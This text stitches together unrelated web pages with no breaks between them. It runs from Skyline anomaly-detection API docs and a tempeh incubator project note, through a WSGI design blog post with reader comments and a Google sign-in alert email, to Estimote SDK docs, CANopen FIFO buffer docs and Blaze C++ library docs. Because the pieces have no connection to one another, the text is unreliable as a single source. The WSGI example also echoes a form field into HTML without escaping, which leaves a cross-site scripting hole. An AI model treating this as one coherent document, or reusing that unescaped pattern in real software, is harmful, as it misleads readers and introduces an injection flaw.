skyline.analyzer_dev package
Submodules
skyline.analyzer_dev.agent module
skyline.analyzer_dev.alerters module
skyline.analyzer_dev.algorithms_dev module
- tail_avg(timeseries)[source]
This is a utility function used to calculate the average of the last three datapoints in the series as a measure, instead of just the last datapoint. It reduces noise, but it also reduces sensitivity and increases the delay to detection.
- median_absolute_deviation(timeseries)[source]
A timeseries is anomalous if the deviation of its latest datapoint with respect to the median is X times larger than the median of deviations.
- grubbs(timeseries)[source]
A timeseries is anomalous if the Z score is greater than the Grubb’s score.
- first_hour_average(timeseries)[source]
Calcuate the simple average over one hour, FULL_DURATION seconds ago. A timeseries is anomalous if the average of the last three datapoints are outside of three standard deviations of this value.
- stddev_from_average(timeseries)[source]
A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the average. This does not exponentially weight the MA and so is better for detecting anomalies with respect to the entire series.
- stddev_from_moving_average(timeseries)[source]
A timeseries is anomalous if the absolute value of the average of the latest three datapoint minus the moving average is greater than three standard deviations of the moving average. This is better for finding anomalies with respect to the short term trends.
- mean_subtraction_cumulation(timeseries)[source]
A timeseries is anomalous if the value of the next datapoint in the series is farther than three standard deviations out in cumulative terms after subtracting the mean from each data point.
- least_squares(timeseries)[source]
A timeseries is anomalous if the average of the last three datapoints on a projected least squares model is greater than three sigma.
- histogram_bins(timeseries)[source]
A timeseries is anomalous if the average of the last three datapoints falls into a histogram bin with less than 20 other datapoints (you’ll need to tweak that number depending on your data)
Returns: the size of the bin which contains the tail_avg. Smaller bin size means more anomalous.
- ks_test(timeseries)[source]
A timeseries is anomalous if 2 sample Kolmogorov-Smirnov test indicates that data distribution for last 10 minutes is different from last hour. It produces false positives on non-stationary series so Augmented Dickey-Fuller test applied to check for stationarity.
skyline.analyzer_dev.analyzer_dev module
- class AnalyzerDev(parent_pid)[source]
Bases:
Thread
The Analyzer class which controls the analyzer thread and spawned processes.
- spawn_alerter_process(alert, metric, context)[source]
Spawn a process to trigger an alert.
This is used by smtp alerters so that matplotlib objects are cleared down and the alerter cannot create a memory leak in this manner and plt.savefig keeps the object in memory until the process terminates. Seeing as data is being surfaced and processed in the alert_smtp context, multiprocessing the alert creation and handling prevents any memory leaks in the parent.
Added 20160814 relating to:
Bug #1558: Memory leak in Analyzer
Issue #21 Memory leak in Analyzer see https://github.com/earthgecko/skyline/issues/21
Parameters as per
skyline.analyzer.alerters.trigger_alert
- spin_process(i, unique_metrics)[source]
Assign a bunch of metrics for a process to analyze.
Multiple get the assigned_metrics to the process from Redis.
For each metric:
unpack the raw_timeseries for the metric.
Analyse each timeseries against ALGORITHMS to determine if it is anomalous.
If anomalous add it to the
self.anomalous_metrics
listAdd what algorithms triggered to the
self.anomaly_breakdown_q
queueIf
settings.ENABLE_CRUCIBLE
isTrue
:Add a crucible data file with the details about the timeseries and anomaly.
Write the timeseries to a json file for crucible.
Add keys and values to the queue so the parent process can collate for:
self.anomaly_breakdown_q
self.exceptions_q
- run()[source]
Called when the process intializes.
Determine if Redis is up and discover the number of unique metrics.
Divide the unique_metrics between the number of ANALYZER_PROCESSES and assign each process a set of metrics to analyse for anomalies.
Wait for the processes to finish.
Process the Determine whether if any anomalous metrics require:
alerting on (and set EXPIRATION_TIME key in Redis for alert).
feeding to another module e.g. mirage.
Populated the webapp json the anomalous_metrics details.
Log the details about the run to the skyline log.
Send skyline.analyzer metrics to GRAPHITE_HOST,


There are many great foods to eat in the world, and Tempeh is one of them. It is a foodstuff that is similar to tofu in some ways; but quite different in others. Tempeh often has a nicer texture than tofu, and is just as adaptable in flavor. "Hipster Tofu" is the shortest way to describe tempeh to a naive and disinterested 17-year-old.
My girlfriend loves tempeh, so I decided to make her a kitchen appliance to make the stuff. Upon researching tempeh further, I was suprised to find that it is grown as a mold on a variety of beans. The growing process has been done naturally inside of banana leaves in Indonesia for years, but holding the 85F incubating temperature in Indonesia is not a problem. In Cleveland, you can never count on the weather to be warm. Since the climate would not provide the needed incubation temperatures, building a countertop incubator seemed like the next logical choice... After searches rendered no off-the-shelf products that would work. So I set to work. There were some lightbulb based designs available from across the FabLab network, and a controller available for the BioAcademy buildable inventory; but neither of these excited me. I designed an incubator that could be built cheaply from spare 3D printer parts I had laying around in the lab. This design is a mash-up of Makergear M2 printer parts and RepRap parts. Although, any spare heated bed parts could work.
I hope you enjoy the design and that it may be useful for you. If you have any questions, feel free to reach out!
Corey Rice 12/29/2017
Countertop tempeh incubator built from spare parts for 3D printers.
Cleveland area FabLab inside of Mayfield High School. At the school's Innovation Center.
Laser cutting. Circuit milling. Plenty of soldering. Love.


The
stox
demo shows how to set up a schema for a simple database with data on stock and exchange rates.


tabValidator
Sample
General
1
Communications
Miscellaneous
FirstName
LastName
Gender
NickName
Nationality
Language
Language is required @ Server Validate
Email
Phone
PostCode
Address
Hobby
Remarks
No more than ten characters
Submit


Details
{% if e.human %}
In human-speak: {{ e.human }}
{% endif %}In machine-speak:
{% if e.data and e.data.source %}{% if e.message %}{{ e.message }}{% else %}{{ e }}{% endif %}
Here's the link that the HXL Proxy was actually trying to open: {{ e.data.munged }}
Note that you may still be able to read this in your own browser, if you're logged into Google Drive or another cloud service. Test in an incognito/anonymous tab to check for public permissions—if you get a login window, then the resource probably isn't publicly readable.
{% endif %}


| Casio Exilim Zoom Color: green |
1X | $138.80 | ||
| Casio Exilim Zoom Color: green |
1X | $138.80 | ||
| Casio Exilim Zoom Color: green |
1X | $138.80 |
Total
$313.60
New User? By creating an account you be able to shop faster, be up to date on an order's status...


I'm starting to write some sample applications and middleware (along these lines) for WSGI. They are in svn://colorstudy.com/trunk/WSGI, or online. These are an attempt to see how these things feel in practice.
It's probably not the best example, but here's the hello-world application I wrote for this:
import cgi def application(environ, start_response): form = cgi.FieldStorage(fp=environ['wsgi.input'], environ=environ, keep_blank_values=1) write = start_response('200 OK', [('Content-type', 'text/html')]) if form.getvalue('name'): write('<title>Hello!</title>\n') write('\n') write('
Hello %s!
\n' % form['name'].value) else: write('<title>Who is there?</title>\n') write('\n') write('
Who is there?
\n') write('<form action="%s" method="POST">\n' % environ['SCRIPT_NAME']) write('What is your name?
\n') write('<input type="text" name="name" value="%s">
\n' % cgi.escape(form.getvalue('name', ''), 1)) write('<input type="submit" value="That is my name"></form>\n') write('\n') return NoneIn most cases you wouldn't be writing your application on this level, but it's really no worse than the cgi module (which isn't very good, but eh).
Something like cgitb_catcher is maybe a bit more interesting -- it provides cgitb tracebacks for any uncaught exceptions.
Hm, I just skimmed trough the pep and looked at your example. Is it right that the primary focus of WSGI is the response, and not the request?
You still use the cgi-module to retrieve the get/post parameters. I don't think that all kinds of servers realy support the cgi-interface, or guarantee it to be correct when not invoking a cgi ( in the dark mysts of my mind ther's some faint doubt about this cgi-thingy working with mod_python )
I understand that the WSGI should be kept as simple as possible. But I do not realy see the point of it when I still have to write server specific code just in order to get hold of the parameters ( which is apart from the reply the most profane task of a dynamic web-page )
I use the cgi module to parse the request, specifically the query string. This is one of cgi's undocumented features (well, it's only documented in cgi.py, in the docstrings). I pass it an explicit environment (which includes the query string) and file-in. It will work quite well with mod_python -- it's not using stdin or os.environ. Though an application coded for mod_python might be a bit harder, as such an application might use mod_python features that WSGI doesn't include.
It's expected that you won't code your application to WSGI directly, but use some framework or library to make it a bit easier to work with. The cgi is one such library, though it's not a very good one.# Ian Bicking
I must admit to have been a bit disappointed by the WSGI drafts. The first thing I noticed was that the documentation was confusing; 2 examples are given that are 'Much the same thing' except it quickly becomes apparent that no, they're quite different and use different approaches. I think that draft needs looking over by a neutral third party who is going to hammer it into something more readable. The second thing was that I couldn't really see this benefitting a lot of people. As a web application developer currently using mod_python, this doesn't help me significantly. After all, 'freeing' my application from the mod_python/Apache dependency is another way of losing me the other benefits it brings such as smart module reloading, easier HTTP status handling, automatically parsed URIs and query strings, session management and so on. If someone was to standardise those features across various webserver implementations - features that PHP and ASP users take for granted - then I would be much happier.
I agree that a standard of the more high-level tasks would add much to the usability, yet it makes the standard harder to implement for the maintainers of web-frameworks.
Maybe it would help to see this as a sort of first stage standard, which is later extended to a wsig 1.1 that includes some more features. This way wsig is still easely implemented, yet it offers a specific way to the next step, as soon as the respective maintainer has some more spare time.
I would like to second Ben and Florian!!
Does any one know why under "Thread Suppor" it say "provid the option of running an applicaiton in a single-threded fashion"? I don't understand why this "*should*" be an option.
This is awsome can't wait!
lhj# Lateef Jackson
Folks, the place for discussing the PEP or proposing changes is the Web-SIG mailing list.
But as long as I'm here, I'll answer the question about "single-threaded", by quoting the PEP:
"""so that applications or frameworks that are not thread-safe may still be used with that server."""
Anyway, "shoulds" are recommendations, not requirements. A server can fail to provide this facility and still be considered conforming.
As for the examples "that are 'Much the same thing'", I agree that it should be rephrased to say that the two examples produce the same output, but are implemented differently, using a variety of WSGI features.
As for the looking over by other persons, I've previously asked for diffs/patches proposing rephrasings; only one person has actually given me any thus far, although Ian has at least also provided suggestions in in-line replies. This thing is over 1000 lines long now, and it's getting more and more difficult to find stuff when people say, "oh the stuff about X and Y was confusing", especially if they don't propose an alternative phrasing!
Anyway, I've submitted an updated draft to the PEPs editor, so it will be in Python CVS soon, which will make it easier to make and use patches.
Finally, I should mention that at this stage, the benefits of WSGI are primarily for web *framework* authors, and web *server* authors, not web *application* authors. This is *not* an application API, it's a framework-to-server glue API. It doesn't compete with any existing framework APIs.
It does, however, form a basis for future web APIs to be "plug-and-play" and "mix-and-match". But that day is still a ways off, and we won't reach it if framework and server authors don't implement this first stage.
# Phillip J. Eby
A couple points:
Phillip is working on another draft, mostly trying to make some of the text easier to understand.
Thread support: I think it's a little weird too, as it's mostly just broken if you are running without threads in a single process. I'm not entirely sure how well this would support an asynchronous application, which would allow single-process, single-thread concurrent programs. Right now environ['wsgi.input'] only is specified to have a blocking interface (AFAICT). This may be the only place that's a problem, and an extension could allow interested programs to avoid that. Right now I don't believe there are any Twisted people actively giving feedback on this, which is too bad.
Features (or lack of): as the PEP says, this isn't meant to be a replacement framework, rather its a foundation upon which you can build frameworks (or port frameworks). This doesn't preclude featureful frameworks built on top of WSGI in any way. Most of the features you note from mod_python could be implemented just as easily on top of WSGI. There are some features that wouldn't be supported -- like mod_python's ability to put hooks into different places of the request, do a local redirect or recursive redirect, etc. But even in these cases, mod_python could provide extensions to provide these features as well, the spec specifically allows for these kind of extensions.
The value added with WSGI is not that suddenly you will have great new features. Instead, it's a foundation so that when developers add new features, they can share them outside of their personal framework. Or, when there are new server targets, those too can be used with other frameworks. I think this can lead to a more organic development of standards -- when people are able to choose features and implementations in a more granular manner, they can be more discriminating. This way we can slowly get past diversity, as people choose the best solutions for particular aspects of the system.# Ian Bicking
"""I think it's a little weird too, as it's mostly just broken if you are running without threads in a single process."""
That model is often adequate for two scenarios:
1) Debugging an application in a single-user mode, and
2) Running a desktop application whose UI is via a web browser.
These are important uses of HTTP that shouldn't be left out.
# Phillip J. Eby
Web Frameworks/Servers differ by features and performance.
But there's a common ground to all, in that they accept requests and deliver content. Nowadays most frameworks also feature cookie-handling, authentication and session-persistence.
I see web-applications explicitly adressed in this PEP, and therefore I also see this rather as a unified interface on top of which I can write web-applications, then as a way I can deal with web-servers as a framework writer.
Your run_with_cgi handler has some problems, primarily with using \n instead of \r\n.


|
|
|
|
|
|
New sign-in from Chrome on Mac |
|
|
|
|
|
|
|
Hi Ben, |
Your Google Account<EMAIL_ADDRESS>was just used to sign
in from Chrome on
Mac.
|
|
|
Ben Gotow (Careless)
<EMAIL_ADDRESS>|
|
|
|
|
|
Mac
Monday, July 13, 2015 3:49 PM (Pacific Daylight Time)
San Francisco, CA, USA*
Chrome |
Don't recognize this activity?
Review your recently used devices now.
Why are we sending this? We take security very seriously and we
want to keep you in the loop on important actions in your
account.
We were unable to determine whether you have used this browser or
device with your account before. This can happen when you sign in
for the first time on a new computer, phone or browser, when you
use your browser's incognito or private browsing mode or clear your
cookies, or when somebody else is accessing your account. |
|
Best,
The Google Accounts team |
|
*The location is approximate and determined by the IP address it
was coming from.
This email can't receive replies. To give us feedback on this
alert, click here.
For more information, visit the Google
Accounts Help Center. |
|
|
|
|
You received this mandatory email service announcement to update
you about important changes to your Google product or account.
© 2015 Google Inc.,
1600 Amphitheatre Parkway, Mountain View, CA 94043, USA
|
|
|


Classes
The following classes are available globally.
-
Estimote Cloud credentials encapsulated in a value object. To acquire App ID & App Token go to https://cloud.estimote.com/#/apps.
See moreDeclaration
Objective-C
@interface EPXCloudCredentials : NSObject
Swift
class CloudCredentials : NSObject
-
Observes and reports proximity of Estimote devices. Uses Estimote Monitoring under the hood. Encapsulates it under tag-based beacon identification and callback blocks.
See moreDeclaration
Objective-C
@interface EPXProximityObserver : NSObject
Swift
class ProximityObserver : NSObject
-
Used to customize Proximity Observer behaviour.
See moreDeclaration
Objective-C
@interface EPXProximityObserverConfiguration : NSObject
Swift
class ProximityObserverConfiguration : NSObject
-
Represents range of a proximity where enter/exit events should occur.
Note: Due to BLE signal instability the actual place where notifications occur will differ. The
meanTriggerDistance
value defines the desired mean of distance at which events occur.The distance is rounded up to decimeters. Don’t expect decimeter accuracy; this is only for simplification of EPXProximityRange objects comparison.
See moreDeclaration
Objective-C
@interface EPXProximityRange : NSObject
Swift
class ProximityRange : NSObject
-
Represents a logical zone. Is represented by range from a beacon and its tag. Can be spanned by one or more beacons. Beacon identification is tag-based (see https://github.com/Estimote/iOS-Proximity-SDK/blob/master/README.md for more info).
See moreDeclaration
Objective-C
@interface EPXProximityZone : NSObject
Swift
class ProximityZone : NSObject
-
Interface providing all contextual data about a Proximity Zone.
See moreDeclaration
Objective-C
@interface EPXProximityZoneContext : NSObject
Swift
class ProximityZoneContext : NSObject


Files | |
| file | CO_fifo.h |
| FIFO circular buffer. | |
Data Structures | |
| struct | CO_fifo_t |
| Fifo object. More... | |
Enumerations | |
| enum | CO_fifo_st { CO_fifo_st_closed = 0x01U, CO_fifo_st_partial = 0x02U, CO_fifo_st_errTok = 0x10U, CO_fifo_st_errVal = 0x20U, CO_fifo_st_errBuf = 0x40U, CO_fifo_st_errInt = 0x80U, CO_fifo_st_errMask = 0xF0U } |
| Bitfields for status argument from CO_fifo_cpyTok2U8 function and similar. More... | |
Functions | |
| void | CO_fifo_init (CO_fifo_t *fifo, char *buf, size_t bufSize) |
| Initialize fifo object. More... | |
| static void | CO_fifo_reset (CO_fifo_t *fifo) |
| Reset fifo object, make it empty. More... | |
| static bool_t | CO_fifo_purge (CO_fifo_t *fifo) |
| Purge all data in fifo object, keep other properties. More... | |
| static size_t | CO_fifo_getSpace (CO_fifo_t *fifo) |
| Get free buffer space in CO_fifo_t object. More... | |
| static size_t | CO_fifo_getOccupied (CO_fifo_t *fifo) |
| Get size of data inside CO_fifo_t buffer object. More... | |
| static bool_t | CO_fifo_putc (CO_fifo_t *fifo, const char c) |
| Put one character into CO_fifo_t buffer object. More... | |
| static void | CO_fifo_putc_ov (CO_fifo_t *fifo, const char c) |
| Put one character into CO_fifo_t buffer object. More... | |
| static bool_t | CO_fifo_getc (CO_fifo_t *fifo, char *buf) |
| Get one character from CO_fifo_t buffer object. More... | |
| size_t | CO_fifo_write (CO_fifo_t *fifo, const char *buf, size_t count, uint16_t *crc) |
| Write data into CO_fifo_t object. More... | |
| size_t | CO_fifo_read (CO_fifo_t *fifo, char *buf, size_t count, bool_t *eof) |
| Read data from CO_fifo_t object. More... | |
| size_t | CO_fifo_altBegin (CO_fifo_t *fifo, size_t offset) |
| Initializes alternate read with CO_fifo_altRead. More... | |
| void | CO_fifo_altFinish (CO_fifo_t *fifo, uint16_t *crc) |
| Ends alternate read with CO_fifo_altRead and calculate crc checksum. More... | |
| static size_t | CO_fifo_altGetOccupied (CO_fifo_t *fifo) |
| Get alternate size of remaining data, see CO_fifo_altRead. More... | |
| size_t | CO_fifo_altRead (CO_fifo_t *fifo, char *buf, size_t count) |
| Alternate read data from CO_fifo_t object. More... | |
| bool_t | CO_fifo_CommSearch (CO_fifo_t *fifo, bool_t clear) |
| Search command inside FIFO. More... | |
| bool_t | CO_fifo_trimSpaces (CO_fifo_t *fifo, bool_t *insideComment) |
| Trim spaces inside FIFO. More... | |
| size_t | CO_fifo_readToken (CO_fifo_t *fifo, char *buf, size_t count, char *closed, bool_t *err) |
| Get token from FIFO buffer. More... | |
| size_t | CO_fifo_readU82a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint8_t variable from fifo and output as ascii string. More... | |
| size_t | CO_fifo_readU162a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint16_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readU322a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint32_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readU642a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint64_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readX82a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint8_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readX162a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint16_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readX322a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint32_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readX642a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read uint64_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readI82a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read int8_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readI162a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read int16_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readI322a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read int32_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readI642a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read int64_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readR322a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read float32_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readR642a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read float64_t variable from fifo as ascii string, see CO_fifo_readU82a. | |
| size_t | CO_fifo_readHex2a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read data from fifo and output as space separated two digit ascii string, see also CO_fifo_readU82a. | |
| size_t | CO_fifo_readVs2a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read data from fifo and output as visible string. More... | |
| size_t | CO_fifo_readB642a (CO_fifo_t *fifo, char *buf, size_t count, bool_t end) |
| Read data from fifo and output as mime-base64 encoded string. More... | |
| size_t | CO_fifo_cpyTok2U8 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Read ascii string from src fifo and copy as uint8_t variable to dest fifo. More... | |
| size_t | CO_fifo_cpyTok2U16 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to uint16_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2U32 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to uint32_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2U64 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to uint64_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2I8 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to int8_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2I16 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to int16_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2I32 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to int32_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2I64 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to int64_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2R32 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to float32_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2R64 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy ascii string to float64_t variable, see CO_fifo_cpyTok2U8. | |
| size_t | CO_fifo_cpyTok2Hex (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy bytes written as two hex digits into to data. More... | |
| size_t | CO_fifo_cpyTok2Vs (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Copy visible string to data. More... | |
| size_t | CO_fifo_cpyTok2B64 (CO_fifo_t *dest, CO_fifo_t *src, CO_fifo_st *status) |
| Read ascii mime-base64 encoded string from src fifo and copy as binary data to dest fifo. More... | |
FIFO is organized as circular buffer with predefined capacity. It must be initialized by CO_fifo_init(). Functions are not not thread safe.
It can be used as general purpose FIFO circular buffer for any data. Data can be written by CO_fifo_write() and read by CO_fifo_read() functions.
Buffer has additional functions for usage with CiA309-3 standard. It acts as circular buffer for storing ascii commands and fetching tokens from them.
| enum CO_fifo_st |
Bitfields for status argument from CO_fifo_cpyTok2U8 function and similar.
| void CO_fifo_init | ( | CO_fifo_t * | fifo, |
| char * | buf, | ||
| size_t | bufSize | ||
| ) |
Initialize fifo object.
| fifo | This object will be initialized |
| buf | Pointer to externally defined buffer |
| bufSize | Size of the above buffer. Usable size of the buffer will be one byte less than bufSize, it is used for operation of the circular buffer. |
|
inlinestatic |
Reset fifo object, make it empty.
| fifo | This object |
Purge all data in fifo object, keep other properties.
| fifo | This object |
|
inlinestatic |
Get free buffer space in CO_fifo_t object.
| fifo | This object |
|
inlinestatic |
Get size of data inside CO_fifo_t buffer object.
| fifo | This object |
Put one character into CO_fifo_t buffer object.
| fifo | This object |
| c | Character to put |
|
inlinestatic |
Put one character into CO_fifo_t buffer object.
Overwrite old characters, if run out of space
| fifo | This object |
| c | Character to put |
Get one character from CO_fifo_t buffer object.
| fifo | This object |
| buf | Buffer of length one byte, where character will be copied |
Write data into CO_fifo_t object.
This function copies data from buf into internal buffer of CO_fifo_t object. Function returns number of bytes successfully copied. If there is not enough space in destination, not all bytes will be copied.
| fifo | This object | |
| buf | Buffer which will be copied | |
| count | Number of bytes in buf | |
| [in,out] | crc | Externally defined variable for CRC checksum, ignored if NULL |
Read data from CO_fifo_t object.
This function copies data from internal buffer of CO_fifo_t object into buf. Function returns number of bytes successfully copied. Function also writes true into eof argument, if command delimiter character is reached.
| fifo | This object | |
| buf | Buffer into which data will be copied | |
| count | Copy up to count bytes into buffer | |
| [out] | eof | If different than NULL, then search for delimiter character. If found, then read up to (including) that character and set *eof to true. Otherwise set *eof to false. |
| size_t CO_fifo_altBegin | ( | CO_fifo_t * | fifo, |
| size_t | offset | ||
| ) |
Initializes alternate read with CO_fifo_altRead.
| fifo | This object |
| offset | Offset in bytes from original read pointer |
Ends alternate read with CO_fifo_altRead and calculate crc checksum.
| fifo | This object | |
| [in,out] | crc | Externally defined variable for CRC checksum, ignored if NULL |
|
inlinestatic |
Get alternate size of remaining data, see CO_fifo_altRead.
| fifo | This object |
| size_t CO_fifo_altRead | ( | CO_fifo_t * | fifo, |
| char * | buf, | ||
| size_t | count | ||
| ) |
Alternate read data from CO_fifo_t object.
This function is similar as CO_fifo_read(), but uses alternate read pointer inside circular buffer. It reads data from the buffer and data remains in it. This function uses alternate read pointer and keeps original read pointer unchanged. Before using this function, alternate read pointer must be initialized with CO_fifo_altBegin(). CO_fifo_altFinish() sets original read pointer to alternate read pointer and so empties the buffer.
| fifo | This object |
| buf | Buffer into which data will be copied |
| count | Copy up to count bytes into buffer |
Search command inside FIFO.
If there are some data inside the FIFO, then search for command delimiter.
If command is long, then in the buffer may not be enough space for it. In that case buffer is full and no delimiter is present. Function then returns true and command should be processed for the starting tokens. Buffer can later be refilled multiple times, until command is closed by command delimiter.
If this function returns different than 0, then buffer is usually read by multiple CO_fifo_readToken() calls. If reads was successful, then delimiter is reached and fifo->readPtr is set after the command. If any CO_fifo_readToken() returns nonzero *err, then there is an error and command should be cleared. All this procedure must be implemented inside single function call.
| fifo | This object. |
| clear | If true, then command will be cleared from the buffer. If there is no delimiter, buffer will be cleared entirely. |
Trim spaces inside FIFO.
Function removes all non graphical characters and comments from fifo buffer. It stops on first graphical character or on command delimiter (later is also removed).
| fifo | This object. | |
| [in,out] | insideComment | if set to true as input, it skips all characters and searches only for delimiter. As output it is set to true, if fifo is empty, is inside comment and command delimiter is not found. |
| size_t CO_fifo_readToken | ( | CO_fifo_t * | fifo, |
| char * | buf, | ||
| size_t | count, | ||
| char * | closed, | ||
| bool_t * | err | ||
| ) |
Get token from FIFO buffer.
Function search FIFO buffer for token. Token is string of only graphical characters. Graphical character is any printable character except space with acsii code within limits: 0x20 < code < 0x7F (see isgraph() function).
If token is found, then copy it to the buf, if count is large enough. On success also set readPtr to point to the next graphical character.
Each token must have at least one empty space after it (space, command delimiter, '\0', etc.). Delimiter must not be graphical character.
If comment delimiter (delimComment, see CO_fifo_init) character is found, then all string till command delimiter (delimCommand, see CO_fifo_init) will be erased from the buffer.
See also CO_fifo_CommSearch().
| fifo | This object. | |
| buf | Buffer into which data will be copied. Will be terminated by '\0'. | |
| count | Copy up to count bytes into buffer | |
| [in,out] | closed | This is input/output variable. Not used if NULL.
|
| [out] | err | If not NULL, it is set to true if token is larger than buf or in matching combination in 'closed' argument. If it is already true, then function returns immediately. |
Read uint8_t variable from fifo and output as ascii string.
| fifo | This object. |
| buf | Buffer into which ascii string will be copied. |
| count | Available count of bytes inside the buf. |
| end | True indicates, that fifo contains last bytes of data. |
Read data from fifo and output as visible string.
A visible string is enclosed with double quotes. If a double quote is used within the string, the quotes are escaped by a second quotes, e.g. “Hello “”World””, CANopen is great”. UTF-8 characters and also line breaks works with this function. Function removes all NULL and CR characters from output string. See also CO_fifo_readU82a
Read data from fifo and output as mime-base64 encoded string.
Encoding is as specified in RFC 2045, without CR-LF, but one long string. See also CO_fifo_readU82a
| size_t CO_fifo_cpyTok2U8 | ( | CO_fifo_t * | dest, |
| CO_fifo_t * | src, | ||
| CO_fifo_st * | status | ||
| ) |
Read ascii string from src fifo and copy as uint8_t variable to dest fifo.
| dest | destination fifo buffer object. | |
| src | source fifo buffer object. | |
| [out] | status | bitfield of the CO_fifo_st type. |
| size_t CO_fifo_cpyTok2Hex | ( | CO_fifo_t * | dest, |
| CO_fifo_t * | src, | ||
| CO_fifo_st * | status | ||
| ) |
Copy bytes written as two hex digits into to data.
Bytes may be space separated. See CO_fifo_cpyTok2U8 for parameters.
| size_t CO_fifo_cpyTok2Vs | ( | CO_fifo_t * | dest, |
| CO_fifo_t * | src, | ||
| CO_fifo_st * | status | ||
| ) |
Copy visible string to data.
A visible string must be enclosed with double quotes, if it contains space. If a double quote is used within the string, the quotes are escaped by a second quotes. Input string can not contain newline characters. See CO_fifo_cpyTok2U8
| size_t CO_fifo_cpyTok2B64 | ( | CO_fifo_t * | dest, |
| CO_fifo_t * | src, | ||
| CO_fifo_st * | status | ||
| ) |
Read ascii mime-base64 encoded string from src fifo and copy as binary data to dest fifo.
Encoding is as specified in RFC 2045, without CR-LF, but one long string in single line. See also CO_fifo_readU82a


Expression object for the dense vector forEach() function.The DVecForEachExpr class represents the compile time expression for the evaluation of a custom operation on each element of a dense vector via the forEach() function.
More...
#include <DVecForEachExpr.h>
Inherits blaze::DenseVector< DVecForEachExpr< VT, OP, TF >, TF >, blaze::VecForEachExpr, and blaze::Computation.
|
|
decltype(std::declval< OP >()(std::declval< RN >())) typedef | ReturnType |
| | Return type for expression template evaluations.
|
| |
|
| enum | : bool { useAssign = RequiresEvaluation<VT>::value
} |
| | Compilation switch for the serial evaluation strategy of the for-each expression. More...
|
| |
|
typedef ResultType_< VT > | RT |
| | Result type of the dense vector expression.
|
| |
|
typedef ElementType_< VT > | ET |
| | Element type of the dense vector expression.
|
| |
|
typedef ReturnType_< VT > | RN |
| | Return type of the dense vector expression.
|
| |
template<typename VT, typename OP, bool TF>
class blaze::DVecForEachExpr< VT, OP, TF >
Expression object for the dense vector forEach() function.
The DVecForEachExpr class represents the compile time expression for the evaluation of a custom operation on each element of a dense vector via the forEach() function.
§ anonymous enum
template<typename VT, typename OP, bool TF>
Compilation switch for the serial evaluation strategy of the for-each expression.
The useAssign compile time constant expression represents a compilation switch for the serial evaluation strategy of the for-each expression. In case the given dense vector expression of type VT requires an intermediate evaluation, useAssign will be set to 1 and the for-each expression will be evaluated via the assign function family. Otherwise useAssign will be set to 0 and the expression will be evaluated via the subscript operator.
§ DVecForEachExpr()
template<typename VT, typename OP, bool TF>
Constructor for the DVecForEachExpr class.
- Parameters
-
| dv | The dense vector operand of the for-each expression. |
| op | The custom unary operation. |
§ at()
template<typename VT, typename OP, bool TF>
Checked access to the vector elements.
- Parameters
-
| index | Access index. The index has to be in the range . |
- Returns
- The resulting value.
- Exceptions
-
| std::out_of_range | Invalid vector access index. |
§ begin()
template<typename VT, typename OP, bool TF>
Returns an iterator to the first non-zero element of the dense vector.
- Returns
